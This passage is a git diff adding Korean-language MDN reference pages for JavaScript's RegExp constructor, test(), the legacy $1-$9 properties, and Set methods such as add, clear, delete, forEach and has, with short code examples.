+let match2 = regex.exec(text)
+console.log(match2[0])       // logs 'на' [did not log 'text']
+console.log(regex.lastIndex) // logs '15'
+
+// and so on</pre>
+
+<p><a href="/ko/docs/Web/JavaScript/Guide/Regular_Expressions/Unicode_Property_Escapes">유니코드 속성 이스케이프</a> 기능을 사용해 <code>\p{scx=Cyrl}</code>과 같은 간단한 구문으로 이 문제를 해결할 수 있습니다.</p>
+
+<h3 id="URL에서_서브도메인_추출하기">URL에서 서브도메인 추출하기</h3>
+
+<pre class="brush: js notranslate">let url = 'http://xxx.domain.com'
+console.log(/[^.]+/.exec(url)[0].substr(7)) // logs 'xxx'</pre>
+
+<div class="blockIndicator note">
+<p>이 때는 정규표현식보단 <a href="/ko/docs/Web/API/URL_API">URL API</a>를 통해 브라우저에 내장된 URL 구문 분석기를 사용하는 것이 좋습니다.</p>
+</div>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">명세</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-regexp-regular-expression-objects', 'RegExp')}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<div>{{Compat("javascript.builtins.RegExp")}}</div>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li><a href="/ko/docs/Web/JavaScript/Guide/Regular_Expressions">JavaScript 안내서의 정규 표현식 장</a></li>
+ <li>{{jsxref("String.prototype.match()")}}</li>
+ <li>{{jsxref("String.prototype.replace()")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/regexp/n/index.html b/files/ko/web/javascript/reference/global_objects/regexp/n/index.html
new file mode 100644
index 0000000000..5b6706cad2
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/regexp/n/index.html
@@ -0,0 +1,66 @@
+---
+title: RegExp.$1-$9
+slug: Web/JavaScript/Reference/Global_Objects/RegExp/n
+translation_of: Web/JavaScript/Reference/Global_Objects/RegExp/n
+---
+<div>{{JSRef}} {{non-standard_header}}</div>
+
+<p>비표준 <strong>$1, $2, $3, $4, $5, $6, $7, $8, $9 </strong>속성들은 정적이며, 괄호로 묶인 하위 문자열 match들을 포함하는 정규 표현식의 읽기 전용 속성들입니다.</p>
+
+<h2 id="Syntax">Syntax</h2>
+
+<pre class="syntaxbox"><code><var>RegExp</var>.$1
+RegExp.$2</code>
+RegExp.$3
+RegExp.$4
+RegExp.$5
+RegExp.$6
+RegExp.$7
+RegExp.$8
+RegExp.$9
+</pre>
+
+<h2 id="Description">Description</h2>
+
+<p>$1, ..., $9 properties are static, they are not a property of an individual regular expression object. Instead, you always use them as <code>RegExp.$1</code>, ..., <code>RegExp.$9</code>.</p>
+
+<p>The values of these properties are read-only and modified whenever successful matches are made.</p>
+
+<p>The number of possible parenthesized substrings is unlimited, but the <code>RegExp</code> object can only hold the first nine. You can access all parenthesized substrings through the returned array's indexes.</p>
+
+<p>These properties can be used in the replacement text for the {{jsxref("String.replace")}} method. When used this way, do not prepend them with <code>RegExp</code>. The example below illustrates this. When parentheses are not included in the regular expression, the script interprets <code>$n</code>'s literally (where <code>n</code> is a positive integer).</p>
+
+<h2 id="Examples">Examples</h2>
+
+<h3 id="Using_n_with_String.replace">Using <code>$n</code> with <code>String.replace</code></h3>
+
+<p>아래의 script는 first last 포맷의 이름과 매치하기 위해 {{jsxref("String")}} 인스턴스의 {{jsxref("String.prototype.replace()", "replace()")}} 메소드를 사용하고 그것을 last, first 포맷으로 출력한다. 대체 텍스트에서, 이 script는 정규 표현식 패턴에서 매칭되는 괄호들에 해당하는 결과들을 나타내는 <code>$1</code> 과 <code>$2</code> 를 사용한다.</p>
+
+<pre class="brush: js">var re = /(\w+)\s(\w+)/;
+var str = 'John Smith';
+str.replace(re, '$2, $1'); // "Smith, John"
+RegExp.$1; // "John"
+RegExp.$2; // "Smith"
+</pre>
+
+<h2 id="Specifications">Specifications</h2>
+
+<p>Non-standard. Not part of any current specification.</p>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<div>
+
+
+<p>{{Compat("javascript.builtins.RegExp.n")}}</p>
+</div>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>{{non-standard_inline}} {{jsxref("RegExp.input", "RegExp.input ($_)")}}</li>
+ <li>{{non-standard_inline}} {{jsxref("RegExp.lastMatch", "RegExp.lastMatch ($&amp;)")}}</li>
+ <li>{{non-standard_inline}} {{jsxref("RegExp.lastParen", "RegExp.lastParen ($+)")}}</li>
+ <li>{{non-standard_inline}} {{jsxref("RegExp.leftContext", "RegExp.leftContext ($`)")}}</li>
+ <li>{{non-standard_inline}} {{jsxref("RegExp.rightContext", "RegExp.rightContext ($')")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/regexp/regexp/index.html b/files/ko/web/javascript/reference/global_objects/regexp/regexp/index.html
new file mode 100644
index 0000000000..387b5bceff
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/regexp/regexp/index.html
@@ -0,0 +1,114 @@
+---
+title: RegExp() constructor
+slug: Web/JavaScript/Reference/Global_Objects/RegExp/RegExp
+tags:
+  - Constructor
+  - JavaScript
+  - Reference
+  - RegExp
+translation_of: Web/JavaScript/Reference/Global_Objects/RegExp/RegExp
+---
+<div>{{JSRef}}</div>
+
+<p><strong><code>RegExp</code></strong> 생성자는 패턴을 사용해 텍스트를 판별할 때 사용하는 정규 표현식 객체를 생성합니다.</p>
+
+<p>정규 표현식에 대한 소개는 <a href="/ko/docs/Web/JavaScript/Guide/Regular_Expressions">JavaScript 안내서의 정규 표현식 장</a>을 참고하세요.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/regexp-constructor.html")}}</div>
+
+
+
+<h2 id="구문">구문</h2>
+
+<p>리터럴, 생성자, 팩토리 표기법이 가능합니다.</p>
+
+<pre class="syntaxbox notranslate">/<var>pattern</var>/<var>flags</var>
+new RegExp(<var>pattern</var>[, <var>flags</var>])
+RegExp(<var>pattern</var>[, <var>flags</var>])
+</pre>
+
+<h3 id="매개변수">매개변수</h3>
+
+<dl>
+ <dt><code><var>pattern</var></code></dt>
+ <dd>정규 표현식을 나타내는 텍스트.</dd>
+ <dd>ES5부터는, 생성자 표기법에 한정하여 다른 <code>RegExp</code> 객체 혹은 리터럴을 사용할 수 있습니다. 패턴은 <a href="/ko/docs/Web/JavaScript/Guide/정규식#특수_문자_사용하기">특수 문자</a>를 포함할 수 있어서 일반적인 문자열 리터럴보다 더 넓은 범위의 값을 판별할 수 있습니다.</dd>
+ <dt><code><var>flags</var></code></dt>
+ <dd>
+ <p>정규 표현식에 추가할 플래그.</p>
+
+ <p>정규 표현식 객체를 패턴으로 제공한 경우 <code><var>flags</var></code> 문자열은 제공한 객체의 플래그를 모두 대체하며 <code>lastIndex</code>를 <code>0</code>으로 초기화합니다. (ES2015 이후)</p>
+
+ <p><code><var>flags</var></code>를 지정하지 않았으면서 정규 표현식 객체를 제공한 경우, 해당 객체의 플래그와 <code>lastIndex</code>를 복제합니다.</p>
+
+ <p><code>flags</code>는 다음 문자를 조합하여 지정할 수 있습니다.</p>
+
+ <dl>
+  <dt><code>g</code> (global, 전역 판별)</dt>
+  <dd>처음 일치에서 중단하지 않고, 문자열 전체를 판별합니다.</dd>
+  <dt><code>i</code> (ignore case, 대소문자 무시)</dt>
+  <dd><code>u</code> 플래그까지 활성화된 경우, Unicode 대소문자 폴딩을 사용합니다.</dd>
+  <dt><code>m</code> (multiline, 여러 줄)</dt>
+  <dd>시작과 끝 문자(<code>^</code>과 <code>$</code>)가 여러 줄에 걸쳐 동작합니다. 즉, 전체 입력 문자열의 맨 처음과 맨 끝 뿐만 아니라 (<code>\n</code>이나 <code>\r</code>로 구분되는) <u>각각의</u> 줄의 처음과 끝도 일치합니다.</dd>
+  <dt><code>s</code> ("dotAll")</dt>
+  <dd><code>.</code>이 줄 바꿈에도 일치합니다.</dd>
+  <dt><code>u</code> (unicode)</dt>
+  <dd><code><var>pattern</var></code>을 Unicode 코드 포인트 시퀀스로 처리합니다. (<a href="/ko/docs/Web/API/DOMString/Binary">이진 문자열</a> 참고)</dd>
+  <dt><code>y</code> (sticky, 접착)</dt>
+  <dd>이 정규 표현식의 <code>lastIndex</code> 속성에 명시된 인덱스에서만 판별하고, 이전/이후 인덱스에서 판별을 시도하지 않습니다.</dd>
+ </dl>
+ </dd>
+</dl>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="리터럴_표기법과_생성자">리터럴 표기법과 생성자</h3>
+
+<p><code>RegExp</code> 객체는 리터럴 표기법과 생성자로써 생성할 수 있습니다.</p>
+
+<ul>
+ <li><strong>리터럴 표기법</strong>의 매개변수는 두 빗금으로 감싸야 하며 따옴표를 사용하지 않습니다.</li>
+ <li><strong>생성자 함수</strong>의 매개변수는 빗금으로 감싸지 않으나 따옴표를 사용합니다.</li>
+</ul>
+
+<p>다음의 세 표현식은 모두 같은 정규 표현식을 생성합니다.</p>
+
+<pre class="brush: js notranslate">/ab+c/i
+new RegExp(/ab+c/, 'i') // 리터럴
+new RegExp('ab+c', 'i') // 생성자
+</pre>
+
+<p>리터럴 표기법은 표현식을 평가할 때 정규 표현식을 컴파일합니다. 정규 표현식이 변하지 않으면 리터럴 표기법을 사용하세요. 예를 들어, 반복문 안에서 사용할 정규 표현식을 리터럴 표기법으로 생성하면 정규 표현식을 매번 다시 컴파일하지 않습니다.</p>
+
+<p>정규 표현식 객체의 생성자(<code>new RegExp('ab+c')</code>)를 사용하면 정규 표현식이 런타임에 컴파일됩니다. 패턴이 변할 가능성이 있거나, 사용자 입력과 같이 알 수 없는 외부 소스에서 가져오는 정규 표현식의 경우 생성자 함수를 사용하세요.</p>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-regexp-constructor', 'RegExp constructor')}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<div>
+
+
+<p>{{Compat("javascript.builtins.RegExp.RegExp")}}</p>
+</div>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li><a href="/ko/docs/Web/JavaScript/Guide/Regular_Expressions">JavaScript 안내서의 정규 표현식 장</a></li>
+ <li>{{jsxref("String.prototype.match()")}}</li>
+ <li>{{jsxref("String.prototype.replace()")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/regexp/test/index.html b/files/ko/web/javascript/reference/global_objects/regexp/test/index.html
new file mode 100644
index 0000000000..07569e7eaf
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/regexp/test/index.html
@@ -0,0 +1,129 @@
+---
+title: RegExp.prototype.test()
+slug: Web/JavaScript/Reference/Global_Objects/RegExp/test
+tags:
+  - JavaScript
+  - Method
+  - Prototype
+  - Reference
+  - RegExp
+  - 정규 표현식
+  - 정규식
+translation_of: Web/JavaScript/Reference/Global_Objects/RegExp/test
+---
+<div>{{JSRef}}</div>
+
+<p><strong><code>test()</code></strong> 메서드는 주어진 문자열이 정규 표현식을 만족하는지 판별하고, 그 여부를 <code>true</code> 또는 <code>false</code>로 반환합니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/regexp-prototype-test.html", "taller")}}</div>
+
+
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox notranslate"><var>regexObj</var>.test(<var>str</var>)</pre>
+
+<h3 id="매개변수">매개변수</h3>
+
+<dl>
+ <dt><code><var>str</var></code></dt>
+ <dd>정규 표현식 일치를 수행할 문자열.</dd>
+</dl>
+
+<h3 id="반환_값">반환 값</h3>
+
+<p>주어진 문자열 <code>str</code> 중 정규 표현식이 일치하는 부분이 있으면 <code>true</code>, 아니면, <code>false</code>.</p>
+
+<h2 id="설명">설명</h2>
+
+<p>패턴이 문자열 내에 존재하는지에 대한 여부를 알아보고자 할 때 <code>test()</code>를 사용하세요. 일치의 위치 인덱스, 또는 일치하지 않으면 <code>-1</code>을 반환하는 {{jsxref("String.prototype.search()")}}와 달리 <code>test()</code>는 불리언을 반환합니다.</p>
+
+<p>더 느리지만 더 많은 정보가 필요하면 {{jsxref("RegExp.prototype.exec()", "exec()")}} 메서드를 사용하세요. ({{jsxref("String.prototype.match()")}} 메서드와 비슷합니다.)</p>
+
+<p><code>exec()</code>처럼, <code>test()</code>도 전역 탐색 플래그를 제공한 정규 표현식에서 여러 번 호출하면 이전 일치 이후부터 탐색합니다. <code>exec()</code>와 <code>test()</code>를 혼용해 사용하는 경우에도 해당됩니다.</p>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="test_사용하기"><code>test()</code> 사용하기</h3>
+
+<p>문자열의 맨 처음에 <code>"hello"</code>가 포함됐는지 알아보는 간단한 예제 코드입니다.</p>
+
+<pre class="brush: js notranslate">const str = 'hello world!';
+const result = /^hello/.test(str);
+
+console.log(result); // true
+</pre>
+
+<p>다음은 일치 여부에 따라 다른 메시지를 기록하는 예제입니다.</p>
+
+<pre class="brush: js notranslate">function testInput(re, str) {
+  let midstring;
+  if (re.test(str)) {
+    midstring = 'contains';
+  } else {
+    midstring = 'does not contain';
+  }
+  console.log(`${str} ${midstring} ${re.source}`);
+}
+</pre>
+
+<h3 id="전역_플래그와_test">전역 플래그와 <code>test()</code></h3>
+
+<p>정규 표현식에 <a href="/ko/docs/Web/JavaScript/Guide/Regular_Expressions#플래그를_사용한_고급검색">전역 플래그</a>를 설정한 경우, <code>test()</code> 메서드는 정규 표현식의 {{jsxref("RegExp.lastIndex", "lastIndex")}}를 업데이트합니다. ({{jsxref("RegExp.prototype.exec()")}}도 <code>lastIndex</code> 속성을 업데이트합니다.)</p>
+
+<p><code>test(<var>str</var>)</code>을 또 호출하면 <code><var>str</var></code> 검색을 <code>lastIndex</code>부터 계속 진행합니다. <code>lastIndex</code> 속성은 매 번 <code>test()</code>가 <code>true</code>를 반환할 때마다 증가하게 됩니다.</p>
+
+<div class="blockIndicator note">
+<p><strong>참고:</strong> <code>test()</code>가 <code>true</code>를 반환하기만 하면 <code>lastIndex</code>는 초기화되지 않습니다. 심지어 이전과 다른 문자열을 매개변수로 제공해도 그렇습니다!</p>
+</div>
+
+<p><code>test()</code>가 <code>false</code>를 반환할 땐 <code>lastIndex</code> 속성이 <code>0</code>으로 초기화됩니다.</p>
+
+<p>이 행동에 대한 예제가 다음 코드입니다.</p>
+
+<pre class="brush: js notranslate">const regex = /foo/g; // the "global" flag is set
+
+// regex.lastIndex is at 0
+regex.test('foo')     // true
+
+// regex.lastIndex is now at 3
+regex.test('foo')     // false
+
+// regex.lastIndex is at 0
+regex.test('barfoo')  // true
+
+// regex.lastIndex is at 6
+regex.test('foobar')  //false
+
+// regex.lastIndex is at 0
+// (...and so on)
+</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-regexp.prototype.test', 'RegExp.test')}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("javascript.builtins.RegExp.test")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li><a href="/ko/docs/Web/JavaScript/Guide/Regular_Expressions">JavaScript 안내서의 정규 표현식 장</a></li>
+ <li>{{jsxref("RegExp")}}</li>
+ <li>{{jsxref("RegExp.prototype")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/set/add/index.html b/files/ko/web/javascript/reference/global_objects/set/add/index.html
new file mode 100644
index 0000000000..622b3d876c
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/set/add/index.html
@@ -0,0 +1,83 @@
+---
+title: Set.prototype.add()
+slug: Web/JavaScript/Reference/Global_Objects/Set/add
+tags:
+  - ECMAScript 2015
+  - JavaScript
+  - Method
+  - Prototype
+  - Reference
+  - set
+translation_of: Web/JavaScript/Reference/Global_Objects/Set/add
+---
+<div>{{JSRef}}</div>
+
+<p><code><strong>add()</strong></code> 메서드는 <code>Set</code> 개체의 맨 뒤에 주어진 <code>value</code>의 새 요소를 추가합니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/set-prototype-add.html")}}</div>
+
+
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox"><em>mySet</em>.add(<em>value</em>);</pre>
+
+<h3 id="매개변수">매개변수</h3>
+
+<dl>
+ <dt><code>value</code></dt>
+ <dd><code>Set</code> 객체에 추가할 요소의 값.</dd>
+</dl>
+
+<h3 id="반환_값">반환 값</h3>
+
+<p><code>Set</code> 객체.</p>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="add_메서드_사용하기"><code>add</code> 메서드 사용하기</h3>
+
+<pre class="brush: js">var mySet = new Set();
+
+mySet.add(1);
+mySet.add(5).add('어떤 문자열'); // 계속 붙일 수 있음
+
+console.log(mySet);
+// Set [1, 5, "어떤 문자열"]
+</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">명세</th>
+   <th scope="col">상태</th>
+   <th scope="col">비고</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES2015', '#sec-set.prototype.add', 'Set.prototype.add')}}</td>
+   <td>{{Spec2('ES2015')}}</td>
+   <td>최초 정의</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-set.prototype.add', 'Set.prototype.add')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<div class="hidden">본 페이지의 호환성 표는 구조화된 데이터로부터 생성되었습니다. 만약 당신이 데이터에 기여를 원한다면 <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>를 체크아웃하고 우리에게 pull request를 보내주세요.</div>
+
+<p>{{Compat("javascript.builtins.Set.add")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>{{jsxref("Set")}}</li>
+ <li>{{jsxref("Set.prototype.delete()")}}</li>
+ <li>{{jsxref("Set.prototype.has()")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/set/clear/index.html b/files/ko/web/javascript/reference/global_objects/set/clear/index.html
new file mode 100644
index 0000000000..3ecdb98895
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/set/clear/index.html
@@ -0,0 +1,76 @@
+---
+title: Set.prototype.clear()
+slug: Web/JavaScript/Reference/Global_Objects/Set/clear
+tags:
+  - ECMAScript 2015
+  - JavaScript
+  - Method
+  - Prototype
+  - Reference
+  - set
+translation_of: Web/JavaScript/Reference/Global_Objects/Set/clear
+---
+<div>{{JSRef}}</div>
+
+<p><code><strong>clear()</strong></code> 메서드는 <code>Set</code> 객체를 비웁니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/set-prototype-clear.html")}}</div>
+
+
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox"><em>mySet</em>.clear();
+</pre>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="clear()_사용하기"><code>clear()</code> 사용하기</h3>
+
+<pre class="brush: js">var mySet = new Set();
+mySet.add(1);
+mySet.add('foo');
+
+mySet.size;       // 2
+mySet.has('foo'); // true
+
+mySet.clear();
+
+mySet.size;       // 0
+mySet.has('bar')  // false
+</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES2015', '#sec-set.prototype.clear', 'Set.prototype.clear')}}</td>
+   <td>{{Spec2('ES2015')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-set.prototype.clear', 'Set.prototype.clear')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("javascript.builtins.Set.clear")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>{{jsxref("Set")}}</li>
+ <li>{{jsxref("Set.prototype.delete()")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/set/delete/index.html b/files/ko/web/javascript/reference/global_objects/set/delete/index.html
new file mode 100644
index 0000000000..a138736b46
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/set/delete/index.html
@@ -0,0 +1,98 @@
+---
+title: Set.prototype.delete()
+slug: Web/JavaScript/Reference/Global_Objects/Set/delete
+tags:
+  - ECMAScript 2015
+  - JavaScript
+  - Method
+  - Prototype
+  - Reference
+  - set
+translation_of: Web/JavaScript/Reference/Global_Objects/Set/delete
+---
+<div>{{JSRef}}</div>
+
+<p><code><strong>delete()</strong></code> 메서드는 지정한 요소를 <code>Set</code> 객체에서 제거합니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/set-prototype-delete.html")}}</div>
+
+
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox"><em>mySet</em>.delete(<em>value</em>);</pre>
+
+<h3 id="매개변수">매개변수</h3>
+
+<dl>
+ <dt><code>value</code></dt>
+ <dd><code>Set</code> 객체에서 제거할 요소의 값.</dd>
+</dl>
+
+<h3 id="반환_값">반환 값</h3>
+
+<p>요소를 제거했으면 <code>true</code>, 아니면 <code>false</code>.</p>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="delete()_사용하기"><code>delete()</code> 사용하기</h3>
+
+<pre class="brush: js">var mySet = new Set();
+mySet.add('foo');
+
+mySet.delete('bar'); // Returns false. No "bar" element found to be deleted.
+mySet.delete('foo'); // Returns true.  Successfully removed.
+
+mySet.has('foo');    // Returns false. The "foo" element is no longer present.
+</pre>
+
+<p>다음 예제는 <code>Set</code>에서 객체를 제거하는 방법을 보입니다.</p>
+
+<pre class="brush: js">var setObj = new Set(); // Create a New Set.
+
+setObj.add({x: 10, y: 20}); // Add object in the set.
+
+setObj.add({x: 20, y: 30}); // Add object in the set.
+
+// Delete any point with `x &gt; 10`.
+setObj.forEach(function(point){
+  if(point.x &gt; 10){
+    setObj.delete(point)
+  }
+})
+</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES2015', '#sec-set.prototype.delete', 'Set.prototype.delete')}}</td>
+   <td>{{Spec2('ES2015')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-set.prototype.delete', 'Set.prototype.delete')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("javascript.builtins.Set.delete")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>{{jsxref("Set")}}</li>
+ <li>{{jsxref("Set.prototype.clear()")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/set/foreach/index.html b/files/ko/web/javascript/reference/global_objects/set/foreach/index.html
new file mode 100644
index 0000000000..fbfa4963c5
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/set/foreach/index.html
@@ -0,0 +1,117 @@
+---
+title: Set.prototype.forEach()
+slug: Web/JavaScript/Reference/Global_Objects/Set/forEach
+tags:
+  - ECMAScript 2015
+  - JavaScript
+  - Method
+  - Prototype
+  - Reference
+  - set
+translation_of: Web/JavaScript/Reference/Global_Objects/Set/forEach
+---
+<div>{{JSRef}}</div>
+
+<p><code><strong>forEach()</strong></code> 메서드는 주어진 함수를 <code>Set</code> 요소 각각에 대해 삽입 순서대로 실행합니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/set-prototype-foreach.html")}}</div>
+
+
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox"><em>mySet</em>.forEach(<em>callback</em>[, <var>thisArg</var>]<code>)</code></pre>
+
+<h3 id="매개변수">매개변수</h3>
+
+<dl>
+ <dt><code>callback</code></dt>
+ <dd>각 요소에 대해 실행할 함수. 다음 세 가지 인수를 받습니다.</dd>
+ <dd>
+ <dl>
+  <dt><code>currentValue</code>, <code>currentKey</code></dt>
+  <dd>처리할 현재 요소. <code>Set</code>은 키를 갖지 않으므로 두 인수 모두에 값을 전달합니다.</dd>
+  <dt><code>set</code></dt>
+  <dd><code>forEach()</code>를 호출한 <code>Set</code>.</dd>
+ </dl>
+ </dd>
+ <dt><code>thisArg</code></dt>
+ <dd><code>callback</code>을 실행할 때 <code>this</code>로 사용할 값.</dd>
+</dl>
+
+<h3 id="반환_값">반환 값</h3>
+
+<p>{{jsxref("undefined")}}.</p>
+
+<h2 id="설명">설명</h2>
+
+<p><code>forEach()</code> 메서드는 주어진 <code>callback</code>을 <code>Set</code>에 존재하는 요소에 대해 한 번씩 실행합니다. 삭제한 값에 대해선 실행하지 않습니다. 그러나 존재하되 값이 {{jsxref("undefined")}}인 경우엔 실행합니다.</p>
+
+<p><code>callback</code>은 다음 세 인수와 함께 호출됩니다.</p>
+
+<ul>
+ <li><strong>요소 값</strong></li>
+ <li><strong>요소 키</strong></li>
+ <li><strong>순회 중인 <code>Set</code> 객체</strong></li>
+</ul>
+
+<p>그러나 <code>Set</code>은 키 값을 사용하지 않으므로, 처음 두 개의 매개변수 모두 <strong>요소 값</strong>을 받습니다. 이는 {{jsxref("Map.foreach", "Map")}}과 {{jsxref("Array.forEach","Array")}}에서 사용하는 <code>forEach()</code>와 동일한 형태를 유지하기 위해서입니다.</p>
+
+<p><code>thisArg</code> 매개변수를 <code>forEach()</code>에 제공한 경우 <code>callback</code>을 호출할 때 전달해 <code>this</code>의 값으로 쓰입니다. 전달하지 않으면 <code>undefined</code>를 사용하며, 최종 <code>this</code> 값은 {{jsxref("Operators/this", "함수의 <code>this</code>를 결정하는 평소 규칙", "", 0)}}을 따릅니다.</p>
+
+<p><code>forEach()</code>는 각각의 값을 한 번씩 방문하지만, 순회를 끝내기 전에 제거하고 다시 추가한 값은 예외입니다. 방문하기 전 제거한 값에 대해서는 <code>callback</code>을 호출하지 않습니다. <code>forEach()</code>가 끝나기 전 추가한 요소는 방문합니다.</p>
+
+<p><code>forEach()</code>는 <code>Set</code> 객체의 요소에 대해 <code>callback</code>을 실행만 하며 값을 반환하지는 않습니다.</p>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="Set의_내용물_기록하기"><code>Set</code>의 내용물 기록하기</h3>
+
+<p>다음 코드는 <code>Set</code>의 요소 각각을 새로운 줄에 기록합니다.</p>
+
+<pre class="brush:js">function logSetElements(value1, value2, set) {
+    console.log('s[' + value1 + '] = ' + value2);
+}
+
+new Set(['foo', 'bar', undefined]).forEach(logSetElements);
+
+// 콘솔 로그:
+// "s[foo] = foo"
+// "s[bar] = bar"
+// "s[undefined] = undefined"
+</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES2015', '#sec-set.prototype.foreach', 'Set.prototype.forEach')}}</td>
+   <td>{{Spec2('ES2015')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-set.prototype.foreach', 'Set.prototype.forEach')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("javascript.builtins.Set.forEach")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>{{jsxref("Array.prototype.forEach()")}}</li>
+ <li>{{jsxref("Map.prototype.forEach()")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/set/has/index.html b/files/ko/web/javascript/reference/global_objects/set/has/index.html
new file mode 100644
index 0000000000..016da46cfd
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/set/has/index.html
@@ -0,0 +1,93 @@
+---
+title: Set.prototype.has()
+slug: Web/JavaScript/Reference/Global_Objects/Set/has
+tags:
+  - ECMAScript 2015
+  - JavaScript
+  - Method
+  - Prototype
+  - Reference
+  - set
+translation_of: Web/JavaScript/Reference/Global_Objects/Set/has
+---
+<div>{{JSRef}}</div>
+
+<p><code><strong>has()</strong></code> 메서드는 <code>Set</code> 객체에 주어진 요소가 존재하는지 여부를 판별해 반환합니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/set-prototype-has.html")}}</div>
+
+
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox"><em>mySet</em>.has(<em>value</em>);</pre>
+
+<h3 id="매개변수">매개변수</h3>
+
+<dl>
+ <dt><code>value</code></dt>
+ <dd><code>Set</code> 객체에서 존재 여부를 판별할 값.</dd>
+</dl>
+
+<h3 id="반환_값">반환 값</h3>
+
+<p><code>Set</code> 객체에 값이 존재하면 <code>true</code>, 아니면 <code>false</code>.</p>
+
+<div class="blockIndicator note">
